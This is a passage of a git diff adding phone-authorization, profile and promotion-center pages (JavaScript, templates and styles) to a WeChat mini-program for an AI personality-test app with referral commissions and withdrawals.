+1,5 @@ + + 为保障服务与联系需要,请授权您的手机号。 + 授权后可在「查看报告」「支付」「企业咨询」等场景使用,仅需授权一次。 + + diff --git a/miniprogram/pages/phone-auth/index.wxss b/miniprogram/pages/phone-auth/index.wxss new file mode 100644 index 0000000..1b8b1c7 --- /dev/null +++ b/miniprogram/pages/phone-auth/index.wxss @@ -0,0 +1,29 @@ +.container { + padding: 48rpx 32rpx; + min-height: 100vh; + box-sizing: border-box; +} +.tip { + font-size: 30rpx; + color: #333; + line-height: 1.6; + margin-bottom: 24rpx; +} +.tip.sub { + color: #666; + font-size: 26rpx; + margin-bottom: 64rpx; +} +.auth-btn { + width: 100%; + height: 88rpx; + line-height: 88rpx; + background: linear-gradient(135deg, #7c3aed 0%, #5b21b6 100%); + color: #fff; + border-radius: 44rpx; + font-size: 32rpx; + border: none; +} +.auth-btn::after { + border: none; +} diff --git a/miniprogram/pages/profile/index.js b/miniprogram/pages/profile/index.js new file mode 100644 index 0000000..79848d5 --- /dev/null +++ b/miniprogram/pages/profile/index.js @@ -0,0 +1,318 @@ +// pages/profile/index.js - 我的页面 +const app = getApp() +const { getTypeOnly } = require('../../utils/resultFormat') +const { request } = require('../../utils/request') + +Page({ + data: { + hasLogin: false, + userInfo: null, + balance: 0, + testCount: 0, + hasResults: false, + mbtiType: '', + discType: '', + pdpType: '', + aiType: '', + mbtiTime: '', + discTime: '', + pdpTime: '', + aiTime: '', + /** 最近记录的数据库 ID,用于跳转时传参 */ + mbtiResultId: null, + discResultId: null, + pdpResultId: null, + aiResultId: null, + loginLoading: false, + loginFailed: false, + nicknameDisplay: '', + displayNickname: '', + /** 默认头像(根据昵称):无头像时显示首字+背景色 */ + avatarLetter: '登', + avatarBgColor: '#6366f1', + // 推广中心统计与配置(来自 /api/distribution/stats) + promoDistributionEnabled: true, + promoCenterTitle: '推广中心', + promoTotalInvite: 0, + promoTotalEarned: '0.00', + promoWithdrawable: '0.00', + /** 是否有企业权限(绑定企业):有则显示「我的简历」 */ + hasEnterprise: false + }, + + onLoad() { + // 仅在 onLoad 执行一次,onShow 里的 runLoginThenLoad 会导致重复请求 + this.runLoginThenLoad() + }, + onShow() { + // 如果是从其他页面返回,且已经登录,则只刷新数据而不重新执行登录流程 + if (this.data.hasLogin) { + this.loadData() + } + + if (typeof this.getTabBar === 'function' && this.getTabBar()) { + this.getTabBar().setData({ selected: 2 }) + } + }, + + /** 先确保登录完成(静默登录),再刷新页面数据 */ + runLoginThenLoad() { + this.setData({ loginLoading: true, loginFailed: false }) + app.ensureLogin().then((ok) => { + this.setData({ loginLoading: false, loginFailed: !ok }) + this.loadData() + }).catch(() => { + this.setData({ loginLoading: false, loginFailed: true }) + this.loadData() + }) + }, + + /** 生成随机后缀:仅 26 英文字母(大小写)与数字,不含特殊字符,默认 4 位 */ + _randomWechatUserSuffix(len) { + const chars = 'ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789' + let s = '' + for (let i = 0; i < (len || 4); i++) { + s += chars[Math.floor(Math.random() * chars.length)] + } + return s + }, + + /** 根据昵称生成默认头像的首字与背景色(同一昵称同色) */ + _avatarFromNickname(name) { + const str = (name && String(name).trim()) || '登' + const letter = str.charAt(0).toUpperCase() || '登' + const palette = ['#6366f1', '#8b5cf6', '#ec4899', '#f43f5e', '#14b8a6', '#0ea5e9', '#3b82f6', '#eab308'] + let hash = 0 + for (let i = 0; i < str.length; i++) hash += str.charCodeAt(i) + const bgColor = palette[Math.abs(hash) % palette.length] + return { avatarLetter: letter, avatarBgColor: bgColor } + }, + + /** 获取或生成当前用户的「微信用户XXXX」后缀(同一用户固定,仅 26 字母+数字) */ + _getOrCreateWechatUserSuffix(userInfo) { + const uid = (userInfo && (userInfo.id || userInfo.userId)) ? String(userInfo.id || userInfo.userId) : '_default' + const storageKey = 'wechat_user_suffix' + const stored = wx.getStorageSync(storageKey) + if (stored && typeof stored === 'object' && stored[uid]) return stored[uid] + const suffix = this._randomWechatUserSuffix(4) + const next = { ...(stored && typeof stored === 'object' ? stored : {}), [uid]: suffix } + wx.setStorageSync(storageKey, next) + return suffix + }, + + loadData() { + const userInfo = app.globalData.userInfo || wx.getStorageSync('userInfo') + const token = app.globalData.token || wx.getStorageSync('token') + + // 1. 先同步渲染用户基础信息(昵称/头像) + const nickname = (userInfo && (userInfo.nickname || userInfo.nickName)) + ? String(userInfo.nickname || userInfo.nickName).trim() : '' + let nicknameDisplay = nickname + let displayNickname = '' + if (!nickname && userInfo) { + const suffix = this._getOrCreateWechatUserSuffix(userInfo) + displayNickname = '微信用户' + suffix + nicknameDisplay = displayNickname + } + const avatarFromName = userInfo + ? this._avatarFromNickname(nicknameDisplay) + : this._avatarFromNickname('点击登录') + + const hasEnterprise = !!(userInfo && (userInfo.hasEnterprise === true || (userInfo.enterpriseId && Number(userInfo.enterpriseId) > 0))) + this.setData({ + hasLogin: !!token || !!userInfo, + userInfo: userInfo || null, + hasEnterprise, + nicknameDisplay, + displayNickname, + avatarLetter: avatarFromName.avatarLetter, + avatarBgColor: avatarFromName.avatarBgColor + }) + + // 2. 已登录则从服务端拉取最近记录;失败降级读 localStorage + if (token || userInfo) { + this._loadRecentFromAPI() + this._loadPromoStats() + } + }, + + /** 从 /api/test/recent 拉取各类型最新记录 */ + _loadRecentFromAPI() { + const scope = app.globalData.appScope || 'personal' + request({ + url: `/api/test/recent?scope=${scope}`, + method: 'GET', + success: (res) => { + // res 是 wx.request 原始响应:{ statusCode, data: { code, data, message } } + const payload = res && res.data + if (!payload || payload.code !== 200 || !payload.data) { + this._loadRecentFromStorage() + return + } + const { records = {}, totalCount = 0 } = payload.data + const r = records + + // DISC resultText 后端已含「型」,type badge 只显示字母,去掉「型」 + const discType = r.disc ? r.disc.resultText.replace(/型$/, '') : '' + + this.setData({ + testCount: totalCount, + hasResults: !!(r.mbti || r.disc || r.pdp || r.ai), + mbtiType: r.mbti ? r.mbti.resultText : '', + discType, + pdpType: r.pdp ? r.pdp.resultText : '', + aiType: r.ai ? r.ai.resultText : '', + mbtiTime: r.mbti ? r.mbti.testTime : '', + discTime: r.disc ? r.disc.testTime : '', + pdpTime: r.pdp ? r.pdp.testTime : '', + aiTime: r.ai ? r.ai.testTime : '', + mbtiResultId: r.mbti ? r.mbti.id : null, + discResultId: r.disc ? r.disc.id : null, + pdpResultId: r.pdp ? r.pdp.id : null, + aiResultId: r.ai ? r.ai.id : null, + }) + }, + fail: () => { + this._loadRecentFromStorage() + } + }) + }, + + /** 从 /api/distribution/stats 拉取推广中心统计 */ + _loadPromoStats() { + request({ + url: '/api/distribution/stats', + method: 'GET', + success: (res) => { + const payload = res && res.data + if (payload && payload.code === 200 && payload.data) { + const d = payload.data + this.setData({ + promoDistributionEnabled: d.distributionEnabled !== false, + promoCenterTitle: d.promoCenterTitle || '推广中心', + promoTotalInvite: d.totalInvite || 0, + promoTotalEarned: d.totalEarned || '0.00', + promoWithdrawable: d.walletBalance || '0.00' + }) + } + } + }) + }, + + /** 降级:从 localStorage 读最近记录(兼容离线或 API 失败) */ + _loadRecentFromStorage() { + const mbtiResult = wx.getStorageSync('mbtiResult') + const discResult = wx.getStorageSync('discResult') + const pdpResult = wx.getStorageSync('pdpResult') + const aiResult = wx.getStorageSync('aiResult') + + let testCount = 0 + if (mbtiResult) testCount++ + if (discResult) testCount++ + if (pdpResult) testCount++ + if (aiResult) testCount++ + + const _fmt = (ts) => { + if (!ts) return '' + const d = new Date(typeof ts === 'number' && ts < 1e12 ? ts * 1000 : ts) + if (isNaN(d.getTime())) return '' + return `${d.getFullYear()}-${String(d.getMonth() + 1).padStart(2, '0')}-${String(d.getDate()).padStart(2, '0')}` + } + + this.setData({ + testCount, + hasResults: testCount > 0, + mbtiType: mbtiResult ? getTypeOnly(mbtiResult, 'mbti') : '', + discType: discResult ? getTypeOnly(discResult, 'disc') : '', + pdpType: pdpResult ? getTypeOnly(pdpResult, 'pdp') : '', + aiType: aiResult ? (aiResult.mbtiType || aiResult.type || '') : '', + mbtiTime: _fmt(mbtiResult && (mbtiResult.createdAt || mbtiResult.timestamp || mbtiResult.testTime)), + discTime: _fmt(discResult && (discResult.createdAt || discResult.timestamp || discResult.testTime)), + pdpTime: _fmt(pdpResult && (pdpResult.createdAt || pdpResult.timestamp || pdpResult.testTime)), + aiTime: _fmt(aiResult && (aiResult.createdAt || aiResult.timestamp || aiResult.testTime)), + mbtiResultId: null, + discResultId: null, + pdpResultId: null, + aiResultId: null, + }) + }, + + /** 点击登录:先静默登录拿到 token */ + doLogin() { + this.setData({ loginLoading: true, loginFailed: false }) + app.ensureLogin().then((ok) => { + this.setData({ loginLoading: false }) + if (ok) { + this.loadData() + } else { + wx.showToast({ title: '登录失败,请检查网络或稍后重试', icon: 'none' }) + this.setData({ loginFailed: true }) + } + }).catch(() => { + this.setData({ loginLoading: false, loginFailed: true }) + wx.showToast({ title: '登录失败', icon: 'none' }) + }) + }, + + goToIndex() { wx.switchTab({ url: '/pages/index/index' }) }, + goToCamera() { wx.switchTab({ url: '/pages/index/camera' }) }, + goToHistory() { wx.navigateTo({ url: '/pages/history/index' }) }, + goToUserProfile() { wx.navigateTo({ url: '/pages/user-profile/index' }) }, + goToPurchase() { wx.navigateTo({ url: '/pages/purchase/index?tab=personal' }) }, + goToPurchasePersonal() { wx.navigateTo({ url: '/pages/purchase/index?tab=personal' }) }, + goToPurchaseEnterprise() { wx.navigateTo({ url: '/pages/purchase/index?tab=enterprise' }) }, + goToEnterprise() { wx.navigateTo({ url: '/pages/enterprise/index' }) }, + goToPromo() { wx.navigateTo({ url: '/pages/promo/index' }) }, + goToMyResume() { wx.navigateTo({ url: '/pages/enterprise/resume-history' }) }, + goToSettings() { + wx.showToast({ title: '开发中', icon: 'none' }) + }, + shareApp() { + // 触发分享 + }, + viewMBTI() { + const id = this.data.mbtiResultId + wx.navigateTo({ url: id ? `/pages/result/mbti?id=${id}&type=mbti` : '/pages/result/mbti' }) + }, + viewDISC() { + const id = this.data.discResultId + wx.navigateTo({ url: id ? `/pages/result/disc?id=${id}&type=disc` : '/pages/result/disc' }) + }, + viewPDP() { + const id = this.data.pdpResultId + wx.navigateTo({ url: id ? `/pages/result/pdp?id=${id}&type=pdp` : '/pages/result/pdp' }) + }, + viewAI() { + const id = this.data.aiResultId + wx.navigateTo({ url: id ? `/pages/index/result?id=${id}&type=ai` : '/pages/index/result' }) + }, + + logout() { + wx.showModal({ + title: '确认退出', + content: '退出后测试记录仍会保留', + success: (res) => { + if (res.confirm) { + app.logout() + this.setData({ hasLogin: false, userInfo: null, loginFailed: false }) + } + } + }) + }, + + onShareAppMessage() { + const { getSharePathByScope } = require('../../utils/share') + return { + title: '神仙团队AI性格测试 - 发现你的MBTI类型', + path: getSharePathByScope('/pages/index/index') + } + }, + + onShareTimeline() { + const { buildShareQuery } = require('../../utils/share') + return { + title: '神仙团队AI性格测试 - 发现你的MBTI类型', + query: buildShareQuery() + } + } +}) diff --git a/miniprogram/pages/profile/index.json b/miniprogram/pages/profile/index.json new file mode 100644 index 0000000..2c69765 --- /dev/null +++ b/miniprogram/pages/profile/index.json @@ -0,0 +1,6 @@ +{ + "navigationBarTitleText": "", + "navigationBarBackgroundColor": "#F9FAFB", + "navigationBarTextStyle": "black", + "usingComponents": {} +} diff --git a/miniprogram/pages/profile/index.wxml b/miniprogram/pages/profile/index.wxml new file mode 100644 index 0000000..1899372 --- /dev/null +++ b/miniprogram/pages/profile/index.wxml @@ -0,0 +1,212 @@ + + + + + + 我的 + + + + + + + + + + {{avatarLetter}} + + + + 登录中... + 登录失败,点击重试 + 点击登录 + 登录后查看你的测试结果 + + + + + + + + + + + + {{avatarLetter}} + + + + + + + + {{nicknameDisplay || '点击设置昵称'}} + + + + + {{mbtiType}} + + + {{discType}}型 + + + {{pdpType}} + + + 暂无测试记录 + + + + + + + + + + + + 最新测试 + + 查看全部 + + + + + + + + + 🧠 + + MBTI性格 + {{mbtiType}} + {{mbtiTime}} + + + + + + 📊 + + DISC测评 + {{discType}}型 + {{discTime}} + + + + + + 🦁 + + PDP行为 + {{pdpType}} + {{pdpTime}} + + + + + + 👁️ + + 面相分析 + {{aiType}} + {{aiTime}} + + + + + + + + + + + 📈 + {{promoCenterTitle}} + + + + + 邀请好友 + {{promoTotalInvite}} + + + + 累计收益 + ¥{{promoTotalEarned}} + + + + 可提现 + ¥{{promoWithdrawable}} + + + + + + + + 深度服务 + + + + + 📄 + + + 专业报告 + 解锁完整的深度性格解析 + + + + + + + + + 🏢 + + + 企业版服务 + 团队测评与人才管理方案 + + + + + + + + + 🕒 + + + 测试历史 + {{testCount > 0 ? testCount + '条记录' : '查看过往所有测试记录'}} + + + + + + + + 📋 + + + 我的简历 + 查看与设置默认简历 + + + + + + + + + + diff --git a/miniprogram/pages/profile/index.wxss b/miniprogram/pages/profile/index.wxss new file mode 100644 index 0000000..33d810b --- /dev/null +++ b/miniprogram/pages/profile/index.wxss @@ -0,0 +1,534 @@ +/* pages/profile/index.wxss */ +page { + background-color: #F9FAFB; +} + +.page { + min-height: 100vh; + background-color: #F9FAFB; + padding-bottom: 140rpx; +} + +/* ===== 顶部栏 ===== */ +.topbar { + display: flex; + align-items: center; + justify-content: space-between; + padding: 16rpx 40rpx 24rpx; + background: #F9FAFB; +} + +.topbar-title { + font-size: 48rpx; + font-weight: 700; + color: #111827; + letter-spacing: -0.5rpx; +} + +.topbar-actions { + display: flex; + gap: 12rpx; + align-items: center; +} + +.settings-btn { + width: 72rpx; + height: 72rpx; + display: flex; + align-items: center; + justify-content: center; +} + +.settings-icon { + font-size: 44rpx; + color: #4B5563; +} + +.icon-btn { + width: 72rpx; + height: 72rpx; + border-radius: 50%; + background: transparent; + display: flex; + align-items: center; + justify-content: center; + padding: 0; + border: none; +} + +.icon-btn::after { + border: none; +} + +.icon-text { + font-size: 36rpx; +} + +/* ===== 用户卡片 ===== */ +.user-card { + margin: 0 32rpx 28rpx; + background: #FFFFFF; + border-radius: 28rpx; + padding: 36rpx 32rpx; + display: flex; + align-items: center; + gap: 20rpx; + box-shadow: 0 4rpx 24rpx rgba(0,0,0,0.05); + position: relative; +} + +.user-card:active { + opacity: 0.9; +} + +/* 头像区域(已登录,仅展示) */ +.avatar-wrap { + position: relative; + width: 144rpx; + height: 144rpx; + flex-shrink: 0; + display: flex; + align-items: center; + justify-content: center; +} + +.avatar-ring { + width: 144rpx; + height: 144rpx; + border-radius: 50%; + padding: 4rpx; + background: linear-gradient(135deg, #FFDEE9 0%, #B5FFFC 100%); + display: flex; + align-items: center; + justify-content: center; + flex-shrink: 0; + box-shadow: inset 0 2rpx 10rpx rgba(0,0,0,0.05); + box-sizing: border-box; +} + +.avatar-img { + width: 128rpx; + height: 128rpx; + border-radius: 50%; + border: 4rpx solid #FFFFFF; + display: block; +} + +.avatar-letter-wrap { + width: 128rpx; + height: 128rpx; + border-radius: 50%; + display: flex; + align-items: center; + justify-content: center; + border: 4rpx solid #FFFFFF; +} + +.avatar-letter { + font-size: 64rpx; + font-weight: 700; + color: #FFFFFF; +} + +.online-dot { + position: absolute; + bottom: 8rpx; + right: 8rpx; + width: 28rpx; + height: 28rpx; + background: #22C55E; + border-radius: 50%; + border: 4rpx solid #FFFFFF; + z-index: 10; + pointer-events: none; +} + +/* 用户信息 */ +.user-meta { + flex: 1; + min-width: 0; + display: flex; + flex-direction: column; + justify-content: center; + gap: 8rpx; + padding-left: 12rpx; +} + +.user-name { + font-size: 36rpx; + font-weight: 700; + color: #111827; + display: block; +} + +.user-sub { + font-size: 24rpx; + color: #9CA3AF; +} + +.nickname-text { + font-size: 36rpx; + font-weight: 700; + color: #111827; + line-height: 1.3; + display: block; +} + +/* 类型标签 */ +.tags-scroll { + width: 100%; + white-space: nowrap; +} + +.tags-row { + display: flex; + gap: 10rpx; + flex-wrap: nowrap; +} + +.tag { + display: inline-flex; + align-items: center; + padding: 6rpx 16rpx; + border-radius: 10rpx; + flex-shrink: 0; +} + +.tag-text { + font-size: 20rpx; + font-weight: 600; + white-space: nowrap; +} + +.tag-purple { + background: #EDE9FE; +} +.tag-purple .tag-text { + color: #7C3AED; +} + +.tag-blue { + background: #DBEAFE; +} +.tag-blue .tag-text { + color: #2563EB; +} + +.tag-orange { + background: #FEF3C7; +} +.tag-orange .tag-text { + color: #D97706; +} + +.tag-gray { + background: #F3F4F6; +} +.tag-gray .tag-text { + color: #9CA3AF; +} + +.chevron { + font-size: 48rpx; + color: #D1D5DB; + flex-shrink: 0; +} + +/* ===== Section ===== */ +.section { + margin-bottom: 28rpx; +} + +.px-section { + padding: 0 32rpx; +} + +.section-header { + display: flex; + align-items: center; + justify-content: space-between; + padding: 0 32rpx; + margin-bottom: 20rpx; +} + +.section-title { + font-size: 32rpx; + font-weight: 700; + color: #1F2937; + display: block; + margin-bottom: 20rpx; +} + +.section-header .section-title { + margin-bottom: 0; +} + +.section-link { + display: flex; + align-items: center; +} + +.section-link-text { + font-size: 24rpx; + color: #F43F5E; + font-weight: 500; +} + +/* ===== 测试结果卡片(横向滚动) ===== */ +.cards-scroll { + width: 100%; + white-space: nowrap; +} + +.cards-row { + display: flex; + gap: 24rpx; + padding: 8rpx 32rpx 16rpx; + width: max-content; +} + +.result-card { + width: 280rpx; + height: 240rpx; + border-radius: 24rpx; + padding: 32rpx 28rpx 24rpx; + display: flex; + flex-direction: column; + justify-content: space-between; + position: relative; + overflow: hidden; + box-shadow: 0 4rpx 20rpx rgba(0,0,0,0.06); + border: 1rpx solid rgba(0,0,0,0.04); + background: #FFFFFF; + flex-shrink: 0; +} + +.card-deco { + position: absolute; + top: -24rpx; + right: -24rpx; + width: 120rpx; + height: 120rpx; + border-radius: 50%; + opacity: 0.3; +} + +.card-purple .card-deco { background: #DDD6FE; } +.card-blue .card-deco { background: #BFDBFE; } +.card-orange .card-deco { background: #FDE68A; } +.card-rose .card-deco { background: #FECDD3; } + +.card-icon-wrap { + width: 64rpx; + height: 64rpx; + border-radius: 16rpx; + display: flex; + align-items: center; + justify-content: center; +} + +.card-icon-purple { background: #EDE9FE; } +.card-icon-blue { background: #DBEAFE; } +.card-icon-orange { background: #FEF3C7; } +.card-icon-rose { background: #FFE4E6; } + +.card-icon { + font-size: 32rpx; +} + +.card-label { + font-size: 22rpx; + color: #9CA3AF; + font-weight: 500; +} + +.card-value { + font-size: 44rpx; + font-weight: 800; + letter-spacing: -1rpx; +} + +.card-purple .card-value { color: #7C3AED; } +.card-blue .card-value { color: #2563EB; } +.card-orange .card-value { color: #D97706; } +.card-rose .card-value { color: #E11D48; } + +.card-time { + font-size: 20rpx; + color: #D1D5DB; +} + +.card-time { + font-size: 20rpx; + color: #D1D5DB; +} + +/* ===== 推广中心 ===== */ +.promo-card { + background: #FFFFFF; + border-radius: 32rpx; + padding: 40rpx; + box-shadow: 0 4rpx 24rpx rgba(0,0,0,0.05); + border: 1rpx solid rgba(0,0,0,0.04); +} + +.promo-header { + display: flex; + align-items: center; + margin-bottom: 40rpx; +} + +.promo-title-wrap { + display: flex; + align-items: center; + gap: 12rpx; +} + +.promo-icon { + font-size: 32rpx; +} + +.promo-title { + font-size: 32rpx; + font-weight: 700; + color: #1F2937; +} + +.promo-stats { + display: flex; + justify-content: space-between; + align-items: center; +} + +.promo-stat-item { + flex: 1; + display: flex; + flex-direction: column; + align-items: center; + gap: 8rpx; +} + +.promo-stat-label { + font-size: 24rpx; + color: #9CA3AF; +} + +.promo-stat-value { + font-size: 36rpx; + font-weight: 700; + color: #111827; + font-family: "DIN Alternate", "Courier New", Courier, monospace; +} + +.promo-stat-divider { + width: 1rpx; + height: 60rpx; + background: #F3F4F6; +} + +.promo-highlight { + color: #F43F5E; +} + +/* ===== 服务菜单 ===== */ +.menu-card { + background: #FFFFFF; + border-radius: 24rpx; + overflow: hidden; + box-shadow: 0 4rpx 20rpx rgba(0,0,0,0.05); + border: 1rpx solid rgba(0,0,0,0.04); +} + +.menu-item { + display: flex; + align-items: center; + padding: 32rpx 36rpx; + gap: 28rpx; + position: relative; +} + +.menu-item:active { + background: #F9FAFB; +} + +.menu-divider { + height: 1rpx; + background: #F3F4F6; + margin: 0 36rpx; +} + +.menu-icon-wrap { + width: 80rpx; + height: 80rpx; + border-radius: 50%; + display: flex; + align-items: center; + justify-content: center; + flex-shrink: 0; +} + +.menu-icon-red { background: #FEF2F2; } +.menu-icon-indigo { background: #EEF2FF; } +.menu-icon-amber { background: #FFFBEB; } +.menu-icon-purple { background: #EDE9FE; } + +.menu-icon { + font-size: 36rpx; +} + +.menu-content { + flex: 1; + min-width: 0; +} + +.menu-title { + font-size: 30rpx; + font-weight: 600; + color: #111827; + display: block; + margin-bottom: 6rpx; +} + +.menu-sub { + font-size: 24rpx; + color: #9CA3AF; + display: block; +} + +.menu-chevron { + font-size: 48rpx; + color: #D1D5DB; + flex-shrink: 0; +} + +/* ===== 退出登录按钮 ===== */ +.logout-btn { + width: 100%; + padding: 32rpx; + background: #FFF1F2; + border: 1rpx solid #FFE4E6; + border-radius: 24rpx; + display: flex; + align-items: center; + justify-content: center; + gap: 16rpx; + box-sizing: border-box; +} + +.logout-btn:active { + opacity: 0.8; +} + +.logout-icon { + font-size: 32rpx; +} + +.logout-text { + font-size: 30rpx; + font-weight: 600; + color: #EF4444; +} + +.bottom-safe { + height: 40rpx; +} diff --git a/miniprogram/pages/promo/index.js b/miniprogram/pages/promo/index.js new file mode 100644 index 0000000..4428ea6 --- /dev/null +++ b/miniprogram/pages/promo/index.js @@ -0,0 +1,270 @@ +// pages/promo/index.js +const app = getApp() +const { request } = require('../../utils/request') + +Page({ + data: { + balance: '0.00', + totalEarned: '0.00', + pendingAmount: '0.00', + bindingCount: 0, + paidCount: 0, + expiringCount: 0, + activeTab: 0, + userList: [], + listTotal: 0, + listPage: 1, + listLoading: false, + listFinished: false, + commissionRate: '', + bindingDays: '', + testCommissionType: '', + testCommissionRate: '', + testCommissionAmount: '', + testNoPayment: false, + withdrawMinYuan: '1.00', + withdrawMaxYuan: '', + withdrawFeePct: 0, + requireWithdrawAudit: true, + showWithdrawDialog: false, + withdrawAmountInput: '', + withdrawError: '', + withdrawFeeYuan: '0.00', + withdrawActualYuan: '0.00' + }, + + onLoad() { + this.loadStats() + this.loadBindings(true) + }, + + onShow() { + this.loadStats() + }, + + /** 加载推广统计数据 */ + loadStats() { + request({ + url: '/api/distribution/stats', + method: 'GET', + success: (res) => { + const payload = res && res.data + if (payload && payload.code === 200 && payload.data) { + const d = payload.data + const title = d.promoCenterTitle || '推广中心' + wx.setNavigationBarTitle({ title }) + this.setData({ + balance: d.walletBalance, + totalEarned: d.totalEarned, + pendingAmount: d.pendingAmount, + bindingCount: d.bindingCount, + paidCount: d.paidCount, + expiringCount: d.expiringCount, + totalInvite: d.totalInvite, + commissionRate: d.commissionRate, + bindingDays: d.bindingDays, + testCommissionType: d.testCommissionType, + testCommissionRate: d.testCommissionRate, + testCommissionAmount: d.testCommissionAmount, + testNoPayment: d.testNoPayment, + withdrawMinYuan: d.withdrawMinYuan != null ? d.withdrawMinYuan : '1.00', + withdrawMaxYuan: d.withdrawMaxYuan != null && d.withdrawMaxYuan !== '' ? d.withdrawMaxYuan : '', + withdrawFeePct: d.withdrawFeePct != null ? d.withdrawFeePct : 0, + requireWithdrawAudit: d.requireWithdrawAudit !== false, + }) + } + } + }) + }, + + /** 加载绑定用户列表(tab: 0=绑定中 1=已付款 2=已过期) */ + loadBindings(reset = false) { + if (this.data.listLoading) return + if (!reset && this.data.listFinished) return + + const page = reset ? 1 : this.data.listPage + this.setData({ listLoading: true }) + + request({ + url: `/api/distribution/bindings?tab=${this.data.activeTab}&page=${page}&pageSize=10`, + method: 'GET', + success: (res) => { + const payload = res && res.data + if (payload && payload.code === 200 && payload.data) { + const { list, total } = payload.data + const formatted = (list || []).map(item => ({ + ...item, + createdAtStr: item.createdAt ? this._fmtTimestamp(item.createdAt) : '' + })) + const newList = reset ? formatted : [...this.data.userList, ...formatted] + this.setData({ + userList: newList, + listTotal: total, + listPage: page + 1, + listFinished: newList.length >= total, + }) + } + }, + complete: () => { + this.setData({ listLoading: false }) + } + }) + }, + + /** 时间戳格式化为 YYYY-MM-DD */ + _fmtTimestamp(ts) { + if (!ts) return '' + const d = new Date(ts * 1000) + if (isNaN(d.getTime())) return '' + const y = d.getFullYear() + const m = String(d.getMonth() + 1).padStart(2, '0') + const day = String(d.getDate()).padStart(2, '0') + return `${y}-${m}-${day}` + }, + + /** 切换用户列表 Tab */ + switchTab(e) { + const index = parseInt(e.currentTarget.dataset.index) + if (index === this.data.activeTab) return + this.setData({ activeTab: index, userList: [], listPage: 1, listFinished: false }) + this.loadBindings(true) + }, + + /** 上拉加载更多 */ + onReachBottom() { + this.loadBindings(false) + }, + + /** 申请提现:打开自定义金额弹框 */ + handleWithdraw() { + const balance = parseFloat(this.data.balance) + if (balance < 1) { + wx.showToast({ title: '余额不足1元,暂无法提现', icon: 'none' }) + return + } + const pct = this.data.withdrawFeePct || 0 + const feeYuan = (balance * pct / 100).toFixed(2) + const actualYuan = (balance - balance * pct / 100).toFixed(2) + this.setData({ + showWithdrawDialog: true, + withdrawAmountInput: this.data.balance, + withdrawFeeYuan: feeYuan, + withdrawActualYuan: actualYuan, + withdrawError: '' + }) + }, + + /** 关闭提现弹框 */ + closeWithdrawDialog() { + this.setData({ + showWithdrawDialog: false, + withdrawError: '' + }) + }, + + /** 输入金额:实时计算手续费与实际到账 */ + onWithdrawInput(e) { + const raw = e.detail.value + const val = parseFloat(raw) + const pct = this.data.withdrawFeePct || 0 + let feeYuan = '0.00' + let actualYuan = '0.00' + if (raw !== '' && !isNaN(val) && val >= 0) { + const fee = val * pct / 100 + feeYuan = fee.toFixed(2) + actualYuan = (val - fee).toFixed(2) + } + this.setData({ + withdrawAmountInput: raw, + withdrawFeeYuan: feeYuan, + withdrawActualYuan: actualYuan, + withdrawError: '' + }) + }, + + /** 确认提现(使用用户填写的金额) */ + confirmWithdraw() { + const balance = parseFloat(this.data.balance) + const val = parseFloat(this.data.withdrawAmountInput) + const minYuan = parseFloat(this.data.withdrawMinYuan) || 1 + const pct = this.data.withdrawFeePct || 0 + + if (isNaN(val)) { + this.setData({ withdrawError: '请输入正确的金额' }) + return + } + if (val < 1) { + this.setData({ withdrawError: '单次提现金额至少 1 元' }) + return + } + if (val > balance) { + this.setData({ withdrawError: '不可超过当前可提现金额' }) + return + } + const actualYuan = val - val * pct / 100 + if (actualYuan < minYuan) { + this.setData({ withdrawError: `实际到账金额不得低于最低提现金额 ¥${minYuan.toFixed(2)}` }) + return + } + + const amountFen = Math.floor(val * 100) + this.setData({ withdrawError: '' }) + + request({ + url: '/api/distribution/withdraw', + method: 'POST', + data: { amountFen }, + success: (r) => { + const payload = r && r.data + if (payload && payload.code === 200) { + const msg = payload.msg || payload.message || '' + wx.showToast({ title: '申请已提交', icon: 'success' }) + this.setData({ showWithdrawDialog: false }) + this.loadStats() + // 免审核且已自动发起微信转账时,自动进入提现记录页 + if (msg.indexOf('已自动发起') !== -1) { + setTimeout(() => { + wx.navigateTo({ url: '/pages/promo/withdrawals' }) + }, 500) + } + } else { + const errMsg = (payload && (payload.msg || payload.message)) || '申请失败,请稍后重试' + this.setData({ withdrawError: errMsg }) + } + } + }) + }, + + /** 查看提现记录 */ + goToWithdrawHistory() { + wx.navigateTo({ url: '/pages/promo/withdrawals' }) + }, + + /** 生成海报 */ + generatePoster() { + wx.navigateTo({ url: '/pages/promo/poster' }) + }, + + /** 分享到朋友圈:引导用户使用右上角菜单 */ + shareToTimeline() { + wx.showToast({ title: '请点击右上角 ··· 选择「分享到朋友圈」', icon: 'none', duration: 2500 }) + }, + + /** 分享给好友 */ + onShareAppMessage() { + const { getSharePathByScope } = require('../../utils/share') + return { + title: '神仙团队AI性格测试 - 发现你的内在潜能', + path: getSharePathByScope('/pages/index/index') + } + }, + + /** 分享到朋友圈 */ + onShareTimeline() { + const { buildShareQuery } = require('../../utils/share') + return { + title: '神仙团队AI性格测试 - 发现你的内在潜能', + query: buildShareQuery() + } + } +}) diff --git a/miniprogram/pages/promo/index.json b/miniprogram/pages/promo/index.json new file mode 100644 index 0000000..ac2ccfb --- /dev/null +++ b/miniprogram/pages/promo/index.json @@ -0,0 +1,5 @@ +{ + "navigationBarTitleText": "推广中心", + "navigationBarBackgroundColor": "#FFFFFF", + "navigationBarTextStyle": "black" +} \ No newline at end of file diff --git a/miniprogram/pages/promo/index.wxml b/miniprogram/pages/promo/index.wxml new file mode 100644 index 0000000..295be88 --- /dev/null +++ b/miniprogram/pages/promo/index.wxml @@ -0,0 +1,219 @@ + + + + + + + + 🧧 + + + 可提现金额 + + + {{commissionRate}}% 高额返利 + + + + + ¥{{balance}} + 累计: ¥{{totalEarned}} | 待审核: ¥{{pendingAmount}} + + + + + + + 查看提现记录 + + + + + + + + 申请提现 + 可提现 ¥{{balance}},请输入本次提现金额 + + + ¥ + + + + 本次最高可提 ¥{{balance}} + + + 手续费 ¥{{withdrawFeeYuan}} + 实际到账 ¥{{withdrawActualYuan}} + + + {{withdrawError}} + + + + 取消 + 确定 + + + + + + + + {{bindingCount}} + 绑定中 + + + {{paidCount}} + 已付款 + + + {{expiringCount}} + 即将过期 + + + {{totalInvite}} + 总邀请 + + + + + + + + 🛡️ + + 推广收益规则 + + + + + 用户绑定有效期为 {{bindingDays}}天,期满自动解除 + + + 💰 + 单笔提现:最低 ¥{{withdrawMinYuan}} + 最高 ¥{{withdrawMaxYuan}} + 不设上限 + + + 📋 + 提现手续费:{{withdrawFeePct}}% + + + + + + + + + 👥 + 绑定用户 + ({{totalInvite}}) + + + + + + + 绑定中 